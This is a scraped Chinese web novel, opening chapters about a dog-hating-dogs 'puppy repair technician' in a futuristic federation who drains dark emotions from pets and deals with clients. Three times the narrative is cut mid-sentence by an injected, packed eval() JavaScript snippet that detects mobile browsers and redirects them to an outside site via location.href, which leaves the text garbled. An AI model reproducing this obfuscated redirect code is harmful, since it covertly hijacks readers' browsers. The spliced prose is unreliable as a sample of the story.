《我只想做个普通的小狗维修师》 1. 小狗维修师 趁着店里没客人,风从南端了一碗双倍牛肉拉面坐在店门口马路牙子上吸溜吸溜,目不转睛地盯着交警身边的警犬。 健壮有力的大腿、挺拔魁梧的身姿、温润低沉的声音……以及油光水滑、保养得当的皮毛。 她深深地吸了一口气,仿佛闻到了对方身上的芬芳小狗味。 小狗警官就是世界上最伟大的发明。 正值早高峰,街上行人行狗来来往往,风从南大饱眼福,边看边吃面。 这只萨摩耶后腿有力,耳朵也很软弹;那只伯恩山的脚又大又宽,目测不到半岁,成长空间极大,期待它成为下一只狗界名脚;远处的博美面容标志,五官清秀,狗毛柔软,风从南的梦中情狗又多了一只。 小狗的优点数不清,唯一的缺点是它们都名狗有主,与风从南素昧平生。 在这个小狗至上主义世界,每家每户每人必有一狗,今年小狗统计办统计的小狗数已经超过人类总数,人均持有狗数达到了夸张的0.6,大多数家庭都一跃成为有狗家庭,而风从南是其中的另类,拖后腿的无狗人。 真正的万狗嫌。 从小到大,她就没得到过小狗的青睐。奶奶爷爷养的狗不待见她,宁愿少吃一顿零食也不想带她玩,妈妈爸爸的两只狗更离谱,互相看不对眼的两只狗遇见她就一致对外,关系好得能吃同一碗狗饭。 她的万狗嫌体质远近闻名,邻居见了她啧啧摇头,邻居的狗见了她转头就走。 没关系,没有缘分她不强求,她跑到流动小狗收容处相亲,求官方分配一只好狗,不需要长得好看,哪怕是绝世丑狗她也欣然接受。收容处登记的狗比人多,奈何广大狗众没有一只选择她。 狗不来就我,我便去就狗,爱狗的女孩不会输,风从南选择另辟蹊径,成为一名小狗维修师。 自从人类进入大星际时代,心理负担越来越重,出现了一种名为情绪过载的心理现象,长时间情绪过载会导致神经麻痹、大脑病变,成为无知无觉的荒芜人,被统一储存于联邦的荒芜人管理中心。 两百年前的陨石群袭击联邦最重要的粮食用星,导致末日演说论频频,众心惶惶,许多人因为饥饿和恐惧心理情绪过载,成为荒芜人,更有甚者主动想要变成荒芜人逃避现实。 此时有人发现,有狗的荒芜人逐渐好转,逆转病变。 专家研究发现,小狗经过长时间给自己硬生生进化制造了一个黑暗情绪储藏器官,简称“垃圾桶”。它们主动吸收人体内的黑暗情绪,储存在“垃圾桶”中,降低人类发生情绪过载的可能性。 岌岌可危的联邦因为小狗重新焕发光芒,改名为小狗联邦。 但是小狗自己不懂得适量吸收,为了帮助它们的主人与有好感的人类,它们会一股脑地吸收黑暗情绪,就跟吃饭一样不知克制,只想往嘴里塞。 而这种吸收实际上是一种情绪转嫁,小狗吸收人体内的黑暗情绪,因为它们大脑构造不同,不会病变成“荒芜狗”,但是会造成损坏,一旦垃圾桶的容量超过百分之九十,小狗就会彻底崩坏。 在无数小狗代替人类崩坏之后,人们逐渐发现有一类人可以通过肉眼而不是精密机器看见小狗体内的情绪器官,并且能借助特殊工具维修“垃圾桶”,清除里面的黑暗情绪,就像是拔罐、抽血一样清除杂质。 这种体质被称为小狗维修师体质,而同时拥有这种体质并且经过系统学习,成功考取小狗维修师执业执照的人就是得到小狗联邦承认的小狗维修师。 小狗维修师经过多年发展已经成为小狗联邦人人向往的高薪职业,每所大学都开设了这门专业。 风从南的自救方法就是报考小狗维修师这一专业,虽然自己没有狗,谁说别人的狗就不是她的狗呢?每天都能换着摸不同的狗,也是美事一桩。 高中一入学,她就立刻去小狗维修办检测情绪稳定水平和维修体质,结果显示她情绪稳定得吓人,具有小狗维修师体质,满足成为小狗维修师的必要条件。 高中三年以此为目标悬梁刺股,终于考上了小狗联邦里最好的大学,就读于自己的理想专业。 然而这只是她人生的起点。 风从南大学成绩优异,她在维修小狗上天赋异禀,维修速度快、效果好,经过她手维修的狗无不身体康健,威风凛凛,回复往日生机。 大三时,她报名了第104次小狗维修师联邦赛,从星球赛冠军一路闯到小狗联邦冠军,被业界大牛收为关门弟子,仅仅毕业一年就在小狗联邦首都星白昼星靠自己全贷拿下一间店铺,取名为“修狗”。 业内众人称她为小狗维修界十年不遇的天才。 现在,天才维修师拿了个小马扎当饭桌,敞开大腿跨坐于“修狗”门口的马路牙子上吃面,毫无形象。 一碗牛肉面轻松下肚,风从南去隔壁小卖部购入一瓶最新款小狗快乐水溜溜缝,日子快活似神仙。 她挠了挠头,估摸着短时间内不会有客人,打算回店里睡个午觉。 人字拖踢踏踢踏地拍在地上,与七分长的大裤衩子一起构成主人不修边幅的模样。 风从南拉下百叶帘,慢悠悠地拿起暂停营业的立牌挂在门口,准备关上自动门。 不料一只胳膊突然出现,夹在门与门缝之间,拳头不停挥舞着。 “风师,风师,别关门!我家小可送来维修了!” 检测到人体,店门自动打开,前台的招财狗汪汪叫了两声,发出机械音:“欢迎光临。” “进来吧。”风从南嘴角垮下,又与午睡擦肩而过了。 胡嘉牵着狗狗小可小心翼翼地走进检查室,把小可放在检查台上。 风从南拉起百叶帘回到检查室,看见检查台上伸出舌头微笑的小可,嘴角也不垮了,觉也不想睡了。 狗毛蓬松,浑身散发着沐浴香氛的阿拉斯加正俯下身子趴在检查台上,歪着脑袋看着她。 胡嘉尴尬地站在旁边等她,不好意思道:“小可毛太厚了,送去洗澡洗了老久,所以我们来迟了。” 风从南大手一挥,笑得荡漾:“没事没事,你太客气了,小可这么可爱能有什么错,让我等一会儿也是应该的,狗好!” “这次是带它来定期维修的,距离上次维修检查已经一个月了。” 每只小狗都需要定期维修检查,发生重大故障的小狗更要接受短则一个月,长则半年的长时间维修。 风从南揉了揉小可的脑袋,果然很柔软。 她将手虚虚搭在小可腹部,闭上双眼,感受它身上的黑暗情绪存量。 小狗全身血液的流动情况和跳动的器官一一出现在眼前,腹部有个特殊的瓶状器官,这就是小狗储存黑暗情绪的地方,小可身体内储存的黑暗情绪已经超过瓶身的百分之三十,需要初级维修。 风从南睁眼,皱眉问道:“你最近遇到什么烦心事了吗?小可体内的黑暗情绪已经超过百分之三十,属于轻度崩坏,需要进行初级维修,大概三十分钟。” 黑暗情绪在百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026585|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分之三十以下都是正常情况,定期找小狗维修师检查即可;黑暗情绪在百分之三十到百分之五十之间属于轻度崩坏,需要初级维修;黑暗情绪在百分之五十到百分之七十之间属于中度崩坏,需要中级维修;黑暗情绪在百分之七十以上就是重度崩坏,百分之九十以上就是完全崩坏。 “怎么会……我只是减肥遇到平台期有点焦虑,小可怎么就轻度崩坏了……”胡嘉一惊,心疼地看着小可,轻柔地抚摸它的身体。 风从南一边记下小可轻度崩坏的原因,一边对着胡嘉道:“小狗维修办今年起要求登记轻度崩坏的小狗和崩坏原因,你确定是由减肥焦虑导致的吗?” “班上同学都说我胖,我害怕他们不跟我玩,我喜欢的男生也说我是大象腿,我就想减肥试试。减了半个月都没瘦一斤,我就有点焦虑。” 闻言,风从南翻了个白眼:“妹妹,刚开始减肥半个月没瘦很正常,这是小问题。你喜欢的那个男生才是大问题,他多高多重?长得怎么样?” 胡嘉羞答答地回答道:“他已经一米八了,180斤,很壮,朋友们都说我和他体型差太好磕了。” “老天奶,这不是正方体降世吗?!”风从南回头看了眼胡嘉,正常体重,就是眼睛高度近视,“你少听他们的话,那男的切二两肉下酒都嫌膻,配不上你,小可,你说是吧?” 阿拉斯加汪了一声,傻乎乎地吐出舌头。 “呜呜呜,小可,还是你最好。”胡嘉眼里含了两泡泪,恨不得立马上去抱着小可嚎啕大哭。 风从南抱起小可掂量了一下,养的很好,离猪仅仅一步之遥。 “我先带小可去维修室维修一下,你在外边坐一会儿,桌上有饮料和零食,随便吃。” 她牵起小可走向维修室,抱起小可放在维修床上,拿起针状的维修工具对着它比划,盘算从哪个部位下手比较方便。 最终,风从南还是决定从小狗腹部开始,将汲取针从小狗腹部插入,抽取情绪储存器官内的黑暗情绪,抽满20毫升便取出注入特制的情绪储存瓶中。 反复抽取五次才将小可体内的黑暗情绪降到百分之二十左右。 风从南停止抽取,拔出汲取针,用瓶塞堵上情绪储存瓶,贴上胡嘉和小可的姓名以及身份编号,放置在架子上。这些情绪储存瓶需要定期送到小狗维修办统一处理。 小可跳下维修床,叼着狗绳送到风从南手上,毛尾巴一甩一甩的。 风从南被它可爱得一激灵,挂着笑把它送到胡嘉手上。 胡嘉眼睛红红的,再三感谢她后付钱离开。 独留风从南一人坐在躺椅上回味小可的一举一动,大拇指和食指互相摩挲,仿佛软软的毛还在手掌心。 门口挂着的风铃叮咚叮咚,清凌凌地晃动。 第二位客人来了。 风从南抬眼望去,第一眼看到的不是狗,而是旁边身材管理极佳的大帅哥。 微风送来了一阵极淡的香气,清淡冷然,仿佛落雪松枝,他抱着一只比格步入“修狗”,好似不是走在街边小店,而是出席高端宴会。 她的眼睛在狗与人之间来回打量,这人真好看,这狗也挺帅,这人真好看,这狗怎么是比格,这人真好看,这狗全包眼线有点邪恶……这人真好看,这狗也是只狗。 颜控风从南是第一次在现实中见到这种极品撕漫男,心里不免有些紧张,同手同脚走到薄暮光面前,强装镇定:“这里是小狗维修店‘修狗’,请问您需要什么服务?” 2. 恨嫁大帅哥 薄暮光第一次来白昼星的平民区。 和主城区科技风的全金属建筑风格完全不同,这里是老旧的混凝土房屋,家家户户挨得极近,没有供飞艇切换空中形态行驶的天空道路。 光脑发出消息提醒,他点开一看,是好友发来的消息。 【檀木:相信我,这家是白昼星上数一数二的小狗维修店。】 【檀木:自从来这修了两次,我家狗都不爱拆家了】 【檀木:高档维修店满足不了你刁钻的要求,这家店兴许可以】 “数一数二的小狗维修店”招牌要掉不掉地挂在侧面,装修也是破破烂烂的国潮风,红绿黄三色交织,与落后于时代的二手百叶窗帘相称,颇有复古意味。 门口的风铃轻轻摇晃,引得他脚边的云朵werwer乱叫。 看起来不是很靠谱,和他之前去的高端维修店完全不一样,薄暮光站在门前犹豫着要不要进去,就被店主招揽进门。 年轻的店主外表冷淡,言语却十分热情地询问他需要什么服务。 盛情难却,薄暮光只得把比格犬云朵牵到老板面前,道:“我的狗最近有些奇怪,需要您为它做一套全身检查。” “这种‘奇怪’具体表现在它出现了哪些反常症状?”风从南接过狗绳,带云朵和薄暮光前往检查室。 “它以前一天四顿,一顿三碗,饭后还要吃水果,现在每顿只吃半碗饭,食欲消退,运动量也减少了,家里的沙发都好久没换了。” 风从南点头,感受云朵体内垃圾桶所在位置,把手搭在云朵嘴筒子上,它体内的黑暗情绪储存量高达百分之五十五,属于中度崩坏。 她皱眉看向薄暮光,原本清冷的俊颜变得面目可憎,拖到中度崩坏才来维修的人大概率没有责任心。这人还不如她,也不知道是耍了什么手段才能有狗的,身上的香水味骚了哄的,肯定是喷了小狗最爱金牌香氛。 “你的狗中度崩坏了,报一下姓名,身份id号,狗名,狗id号和最近你烦恼的事。”风从南面无表情地走流程。 薄暮光登记完自己和比格的身份信息,看了风从南一眼,含含糊糊道:“我最近有些焦虑。” “焦虑是一种很常见的黑暗情绪,你的狗能拖到中度崩坏才来维修,难道你焦虑到不能出门?”风从南的话绵里藏针,暗暗讽刺道。 薄暮光耳尖泛起微红,见风从南盯着他看,这抹红意一路蔓延至脸颊,为清冷的脸平添几分春色。他不好意思地偏过头,试图藏住自己的脸。 他说:“我确实不敢出门,怕丑到别人。” 风从南瞬间瞪大双眼,上上下下、仔仔细细地端详着薄暮光,确认这是个超级大帅哥,不是她眼花了出现幻觉,也不是全世界审美降级一万倍后,她迷惑地挠了挠头。 挺好一帅哥,可惜年纪轻轻就瞎了。 不是不负责任就行,她拿出对待顾客的尊敬态度,回答薄暮光:“男人确实需要保养,容貌焦虑是很正常的事。不过我看你现在面部状态还不错,身材管理也挺到位的,比我追的男明星还好看,根本不用恐惧出门。” “其他男人都不理解我,说我炫耀自己长得好看。”薄暮光垂下眼帘,盯着地面。 “他们是懒男人,眼红你自律,想让你也变成丑男人。我觉得容貌焦虑很正常啊,尤其是男人,年纪越大越不值钱,我说实话,25岁以上的男人就算长得再好看,倒贴我我都是不要的。” “谢谢你理解我。”薄暮光直直望着风从南,他的双眼似一汪春水,闪到了她的眼睛。 果然,帅哥的眼睛自带深情特效。 她摆摆手,问道:“我这边大多数容貌焦虑的案例都只是轻度崩坏,你确定你只有容貌焦虑吗?” 薄暮光微妙地沉默了。 风从南见他这副模样便明白了,从衣服口袋里掏出一张皱皱巴巴的维修师经营许可证:“我们这家店是正规场所,拥有小狗维修办开店许可。我会严格遵循职业规范,对外保密,你不用担心隐私泄露问题。” 薄暮光并不是担忧隐私问题,只是不知道怎么开口:“可以给我一段时间组织语言吗?” “你先坐着想一会儿,我去里头维修云朵。”风从南点点头,挪开目光,抱起比格犬云朵走进维修室,给他留下个人空间。 她拿起汲取针抽取“垃圾桶”中少量黑暗情绪,测试云朵的疼痛反应,见云朵乖巧地趴着任她操作,她忍不住捏了捏云朵的大耳朵:“好狗,好狗。” 抽出一管黑暗情绪后,她又替换了更粗的汲取管,缓慢抽取。 黑暗情绪一次抽取数量有限,抽取过多会导致小狗的“垃圾桶”损坏,对其他健康器官造成影响。 待“垃圾桶”内的黑暗情绪降到百分之四十五左右,风从南停止维修,存放好情绪储存瓶,牵着云朵往外走。 维修室外的薄暮光已经等候多时,他蹲下身子抱起云朵,云朵也嘤嘤嘤地埋进他怀里,看得风从南一阵羡慕。 她忍不住询问道:“云朵为什么这么喜欢你啊?你是喷了狗狗最爱的汪汪牌香水吗?” 薄暮光诧异地转头,抚摸着云朵的扇形大耳朵:“汪汪牌香水是什么,我的香水是根据每日穿搭更换不同的香型。云朵喜欢我的原因可能和我的体质有关,我从小到大就很招狗喜欢,用星网上的话来说,我应该属于万狗迷。” 竟是万狗迷吗?! 风从南对于这一特殊群体早有耳闻,他们多出现于星网上的各种评论区,分享炫耀自己被众多小狗包围的神仙生活,各种风从南的梦中情狗都对他们没有任何抵抗力。 她做错了什么,为什么要让一个万狗嫌在现实中直面万狗迷! 风从南捏紧拳头,想到眼前这人的顾客身份,反复深呼吸后,嘴角牵起模式化营业微笑:“之前问您有关焦虑的问题想好回复了吗?” 薄暮光摸狗的手一顿,缓缓开口道:“实际上我还有年龄焦虑。23岁已经是日暮西山了,我在婚恋市场上毫无竞争力,根本比不上那些18岁就早早加入婚恋市场竞争的男人。” “比起年龄焦虑,你应该更贴近恨嫁?”风从南若有所思,“你尝试过相亲吗?” “……没有,我一直期待着突如其来的爱情,从初恋到终老,却从未真正参加过相亲。我一面谴责自己过于矜持, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026586|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像我这种大龄剩男还有什么等待爱情的资格,一面却天真地相信命运会眷顾我。结局就是既没有遇到爱情,又成了别人口中的大龄剩男。” 薄暮光神色落寞,阳光透过百叶窗在他脸上投下了明明暗暗的光斑,睫毛轻颤,平民区破破烂烂的小店丝毫没有损毁他的贵气长相,侧颜美得像一幅油画。 “不管你的婚姻状况怎样,影响到小狗就是不应该的。”风从南丝毫没有被眼前的忧郁美男影响,她登记好原因,出示自己的光脑收款码:“这边付款,接下来一星期小狗每天需要维修一次,没有时间接送的话建议办理一周住店套餐。” “我可以每天接送。” “早上十点营业到下午六点,这是我的星网号,提前半小时跟我说一声。”风从南掏出定做的星网名片,递给薄暮光。 薄暮光加上她的星网好友,问道:“店里可以办理vip服务吗?” 风从南的双眼泛出对金钱的渴望,从前台抽屉里翻出定制宣传单递给他:“办理vip可以享受九折优惠,充值满9999星币还可以额外赠送两次上门维修服务。如果尊贵的顾客愿意额外加8888星币,还能升级为终身svip。‘修狗’欢迎您的大驾光临。” “那就充值两万星币,办理终身svip吧。”薄暮光拿起宣传单,礼貌地扫视一眼便递还给她。 万恶的万狗迷竟然还是罪恶的有钱人吗?! 但是他是顾客,好像也不亏? 可他是万狗迷! 顾客有钱,我享福,没毛病啊! 她的左右脑互搏,对万狗迷的嫉妒和对从顾客兜里掏钱的发财欲俱不退缩,占据她整个大脑,最后化为两声无力的叹息。 唉,资本。 唉,万狗迷。 “‘发财吧’到账两万星币。”听见耳边传来的机械音,风从南的嘴角情不自禁地翘起,压都压不下去。 薄暮光见她一脸欣喜地沉浸于赚钱的快乐之中,犹豫地说:“你们店里还招人吗?” 风从南弯着的嘴角一僵,难以相信自己的耳朵听到了什么,钱刚到口袋里还没捂热乎就要失去了吗?! 她捏了捏耳垂,颤颤巍巍地问道:“我没听清,你可以再说一遍吗?” 薄暮光重复了一遍:“店里还招人吗?” “……不招人的话,你会取消办理svip吗?” “不会取消的,我只是问一下。”他见风从南一脸绝望,扑哧一声笑了出来,“我是一名画家,最近需要在小狗维修店中寻找灵感,大多数店铺都没有同意我的请求,提出付费上班也被拒绝了。” 穷鬼风从南虽然对他付费上班的请求十分心动,但是想到店里的情况还是义正言辞地拒绝了:“我们店里目前不缺员工,今年小狗维修办对店铺经营情况和经营人员都查得很严,你可以先考取一张小狗维修师助理资格证书再去面试其他维修店,成功概率会更高一些。” 她话锋一转,给自己留了个余地:“但是尊贵的svip是不同的,虽然店里现在只有我一个员工,但是我们做大做强之后会第一时间联系您,邀请您加入我们‘修狗’大家庭。” 3. 以旧换新的狗(一) 告别新晋尊贵svip薄暮光后已经下午五点,白昼星上的天气调节系统控制日夜转换,天色渐暗,晚霞染遍天光,风从南干脆关闭‘修狗’大门,光脑操控转换门上招牌。 电子告示牌显示‘今日已休,欢迎明日再来’。 风从南拿起冰箱内的营养液,一饮而尽,马不停蹄地打开后门,接待晚上的客人,勤勤恳恳赚钱还房贷。 白昼星作为首都,平均工资高于其他星球,相应的生活成本也比较高,房价更是居高不下。风从南贷款买的商铺位于白昼星里房价最便宜的一块片区,位于平民区与贫困区的交界处,总价四百万星币,均价为四万五千星币每平方。 按照风从南每个月净赚六万计算,她要不吃不喝干上五六年才能还完房贷,只能说幸好她开店的时候走的是大学生创业渠道,银行支持全贷无息,否则房贷的利息又是一笔巨款。 面对巨额贷款和长期还贷的生活压迫,风从南选择开辟新赛道,白天接大户的合法维修单,晚上接零零散散的黑户维修单。 小狗联邦中获得小狗的方式只有两种,通过官方组织的人狗相亲和前往高级小狗店铺购买,通过上述两种途径获得的小狗被称为合法小狗,出生起就拥有自己的身份id号。为保证个人无法繁育小狗,每一只分配到个人的小狗都做过绝育手术,大街上溜达的流动小狗也都绝育,拥有自己的身份牌和定位芯片。 拥有合法小狗的人大多数经济状况良好,能够给小狗提供优渥的生活。 阳光之下必有阴影,联邦内时常有地下组织非法获取可繁育狗,只要凑齐一对就可以偷偷繁育小狗,低成本繁育,低于市价售出,市场广阔,性价比极高。 购买这些黑户狗的人群大多没钱没房,无法通过联邦的相亲资格审查,迫于精神状态极差的现状和成为荒芜人的威胁,从黑狗贩子手里购买非法小狗安抚自己。这些人心理负担重,常发生情绪过载,他们的狗也需要频繁维修。 风从南敏锐地抓住商机,大钱小钱两手抓,白天接待合法狗,晚上维修黑户狗,争取加快还贷进程。 这也是她拒绝了薄暮光请求的原因之一。 经过一年兢兢业业的努力经营,她的修狗店在黑户狗维修界也是小有名气,是附近片区小狗维修的不二之选。 风从南提着灰扑扑的音响放到后门外,播放黑户狗维修专用广告。 “今天过节不收礼,收礼只收小星币。小狗快乐店,让你的小狗重新拥抱幸福——它好我也好。” 修狗店前后门的景象完全不同,前面是典型的首都星风格,清洁机器人打扫的地面一尘不染,街上行人匆匆走过,快节奏的生活敲打着每个人的脚步。后面则截然不同,每家店都播放着各自的广告,还有摆摊的小贩坐在自制的机械车上卖货。 风从南自己录的广告词在一众机械音广告内脱颖而出,抑扬顿挫的独特腔调席卷了整条街,成为当之无愧的模范广告事例,吸引了许多没来过小狗维修店的新顾客,晚上的收益不输白天营业额。 今天门口也早早有顾客等待营业,是一对父女。 风从南连忙打开后门,招呼二人进来。 男人手上夹着烟,一头卷曲短发,身形壮硕,进店后就不停地打量四周。小女孩约莫十三岁,牵着一只杂毛小狗,低垂着头跟在她身后。 “不好意思,店内不允许吸烟。”风从南笑眯眯地指着墙上的禁烟警示牌。 男人轻嗤一声,低头掐灭烟,随手丢到门外。 风从南只觉得自己额头上的青筋在狂跳,自从开店有了点名气,她已经很久没有遇到这么没素质的顾客了。 她告诉自己顾客就是上帝,维持僵硬的待客微笑,眼底却不见笑意:“店内也不允许乱丢垃圾,门外的公共区域也属于本店。” 这句话宛如一根棒子敲打在男人的脸上,他面皮涨红,挥舞着拳头想要上来争辩。 他身后的小女孩怯怯地拽住他的衣角,低声道:“爸爸,小狗想要维修。” 小女孩转头捡起男人丢弃的烟头放进垃圾桶内,摸了摸小狗的头。 “大男人不跟你们女人一般计较。”男人牵过小女孩的手,把她拉到风从南面前,“帮我看看维修这只狗要多少钱。” 风从南反复在心里劝说自己‘钱难赚屎难吃’,别跟顾客一般计较,从他们兜里掏钱就行。 她深吸一口气,蹲下身子接过小狗,查看它体内垃圾桶的黑暗情绪存储量。 片刻后,她报价道:“轻度崩坏,一次五百星币。” “隔壁只收三百块,你这是不是黑心店?!” “一次五百星币不议价,我们店的质量对得起价格。” “你是不是瞧不起我!一个破维修师还敢狗眼看人低!”男人情绪激动,说话时口水乱喷,惊得风从南一脸问号地后退两步,这个动作无异于火上浇油,引得他更愤怒了,“你还敢嫌弃我!?” 风从南虚伪的笑容破碎了,她不想装了。 “爱修修,不修滚。”她面无表情道。 “真当自己是个人物了是吧!”男人的手掌高高扬起,下一秒就要落到风从南脸上。 “……爸爸,小狗、小狗想要维修。” 小女孩拽住他的手,抬头望向父亲,眼里含了两泡泪,欲掉不掉。 短短一句话宛如一通凉水浇在男人头上,他高涨的气势瞬间萎靡,抚摸着小女孩的头发:“好好好,让姐姐给你维修小狗。” 他不看风从南,姿势别扭地蹲着:“五百星币就五百星币,先给小狗维修吧。” “家长可以在休息区等待,孩子跟我进来描述一下小狗情况。”风从南这才端着杂毛小狗走进检查室进行二次检查,小女孩亦步亦趋跟在身后。 精细检查情况与在大厅中的粗略检查结果无异,初级崩坏,黑暗情绪储存量在百分之三十四左右。 “报一下你和小狗姓名和身份id号。”风从南缺少和小孩的沟通经验,放轻声音,尽量让自己显得温和一些。 大多数情况下,其他店维修黑户狗是不需要身份信息的,风从南的店也不例外,但是这只杂毛小狗不同。 在检查过程中,风从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026587|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南发现它的“垃圾桶”存在明显的人工缝合痕迹,器官表面皱皱巴巴堆叠在一起,说明这只狗在短时间内经过多次维修,并且维修师技艺不精,使用的维修方式也是十年前就被淘汰的手段,剖开腹部提取器官,一次性抽取干净后再使用人工皮缝合。 只有未得到小狗维修办资格认定许可的小狗维修师才会采用这种维修方式,这是小狗维修办明令禁止的维修方式,就算是在黑户狗维修店内也不常见,使用者会被小狗维修办和警官署逮捕入狱。 为避免抓捕误伤自己,风从南需要得到小女孩的身份信息,以便洗清嫌疑,显示自己的清白。 然而圆圆在告诉她家庭住址后支支吾吾地说不出话,怯怯地后退了一步:“我不知道我的身份id号……” “伸出你的光脑芯片,递给我扫一下就行了。不知道身份id号也可以维修。” 圆圆乖乖地伸出右手递给风从南,风从南拿出许久不用的扫描仪器扫了一下她的光脑,确定系统身份和现实是一个人,进行登记。 风从南摸了摸圆圆的小狗,小狗也伸出舌头舔舔她:“你的小狗也没有身份id号吗?” “妈妈爸爸说这个很费钱,就没给小狗种芯片……”圆圆的双眼又包了一泡泪,睫毛一闪一闪地上下飞舞着,彰显着面前这个小女孩的无助。 风从南见圆圆的鼻子都开始抽抽,手足无措,她完全不知道怎么和小孩相处。 她从零食柜里摸了些糖果塞进圆圆怀里,笨拙地抚摸她的背:“别哭别哭,小狗没有芯片也可以维修,抽血保存基因样本就行了。” 圆圆傻傻地抱着零食箱站在原地:“真的可以吗?” “相信姐姐,我可是专业的小狗维修师。” 风从南抱起小狗,带着小女孩圆圆去隔壁维修室开始正式维修。 她维修经验丰富,效率快,质量高,抽血保存样本,汲取针抽取黑暗情绪,抽取完毕用止血贴包裹好小狗皮肤上的伤口,整个维修过程一气呵成,小狗体内的黑暗情绪存储量顺利抽取到百分之二十五左右。 她正要抱着小狗出去,小女孩却叫住了她。 “姐姐,价格可以便宜一点吗?小狗已经维修好几次了,再花这么多钱,爸爸又要把它送走了。” 风从南停下脚步,问道:“为什么要送走啊?你很需要小狗陪伴你吧?” 她敏锐地察觉到了不对劲。 “爸爸说,这只小狗维修花了好多钱,还不如送走,去阿姨家以旧换新,还便宜一些,能给家里省钱。”圆圆一脸沮丧,手指死死捏住裙角,“妈妈说这是最后一次修理这只小狗,再有下一次就要给我换一只新狗,一定比这只更好更听话。” 风从南皱眉,见小女孩紧紧咬住嘴唇,拍拍她的背:“没事的,圆圆愿意分享秘密就说明姐姐和你已经是朋友了,姐姐出去就和你爸爸说只收优惠价。” 圆圆忍不住抱上她的手臂,呜呜地小声哭泣:“我就喜欢这只小狗,我想给它取名字,我不想要其他小狗……为什么妈妈总是让我乖一点听话一点,我想做一个坏孩子……” 4. 以旧换新的狗(二) 风从南揽住圆圆的背,把她抱进怀里,笨拙地拍拍她的背,轻声安抚。 “没事的,现在你身边没有爸爸妈妈,我们在姐姐店里的小房间。从现在开始,我不是店主姐姐,我是你的垃圾桶,你有什么烦心事都可以和我分享。” 圆圆呜咽着抬头看向风从南,揉了揉眼睛:“真的可以吗?” 风从南回以一个微笑,点开光脑在额头上投影了六个大字——圆圆的垃圾桶。 她没有回答,因为垃圾桶不会说话。 圆圆破涕为笑,真正把风从南当作一个不会说话的心灵垃圾桶,往里面填满自己的坏情绪。 ----------------- 圆圆全名张魏媛,来自偏远星354号星球,从小成绩优越,在354号星球初级学校文化统考中蝉联第一,在353、354、355号星球联考中也多次位列榜首。 母父大喜过望,觉得自己的孩子绝对是希望之星、未来的星球元首,盼望她光宗门楣。 首都星学籍考取中央重点大学的可能性更大,接触各行各业大佬的机会也更多,于是二人辞去原本的工作,耗尽存款举家搬迁到首都白昼星,把弟弟留在354号星球交给爷爷奶奶抚养。又花费大价钱找人托关系把张魏媛的学籍转移到白昼星,只为给张魏媛博一个更好的前程。 他们常说:“我们都是为了你好,将来要记得给妈妈爸爸养老,人要懂得报恩。” 他们常说:“我们这么辛苦都是为了你,我们供你吃穿不容易,还特意搬到了白昼星,我们家和学校里的本地人同学不一样,家里比较穷,你要省吃俭用。” 他们常说:“弟弟那么笨,你却很聪明,一定是你在肚子里把弟弟的营养都抢走了,你长大以后要扶持弟弟,带带他,一家人就是要相互扶持,日子才能变得更好。” 于是张魏媛将这些话默默记在了心底。 她在白昼星里就读的学校按照居住片区分配,她被分配到贫困区第三初级学校读书,那里两极分化严重,一面是混日子的学生,一面是恨不得把头塞进书里,想要靠读书逆天改命的学生。 她是后者。白昼星的清晨从六点开始,她在太阳出来之前就早早出发,路上边走边喝营养液,抵达教室就马不停蹄地开始学习,整天待在教室里学习背书,中午就靠营养液解决,上厕所都是掐表计算好的时间,放学就跑步回家,还能顺便锻炼身体,到家喝一瓶营养液又开始埋头苦学。 日子一天天过去,她在学校里的成绩从中游逐渐跃居到上游,最后稳定在年级前三,但是这还远远不够。 受到学校表彰的那一天,她回家看见的不是父母欣慰的笑脸,而是两人挑剔的目光。 “圆圆,你跟妈妈说说最近有没有在学习上遇到问题。怎么在354星能考星球第一,在首都星就只有几千名呢?你是不是瞒着妈妈偷懒了?还是在学校里偷偷谈恋爱了?” 妈妈的眼睛笑眯眯的,她却通体冰凉。 爸爸也是笑着反驳妈妈的话:“我们圆圆怎么可能会和那些不三不四的人来往,一定是她最近有些开小差了,枕头底下的漫画书爸爸就没收了,等你下次考好了再还给你。” 张魏媛张了张嘴,她想要开口,却说不出话来,嗓子好像被无形的东西哽住了。 她想说,妈妈,我没有偷懒,也没有谈恋爱,我已经尽自己所有努力在学了,但是还是有人考得比我好,是你们把我生得太笨了吗? 她想说,爸爸,那本漫画书是同桌借给我的,我每天只看十分钟,不会影响学习成绩的。 她的话语没说出口,化作泪水一滴一滴砸在破旧的地板上,她的心脏被磨出了一个洞。 “圆圆,别哭了,哭多了爸爸妈妈会心疼的,这次知道错了,下次改过来就是了。”爸爸抽出纸巾,温柔地擦了擦她的脸庞。 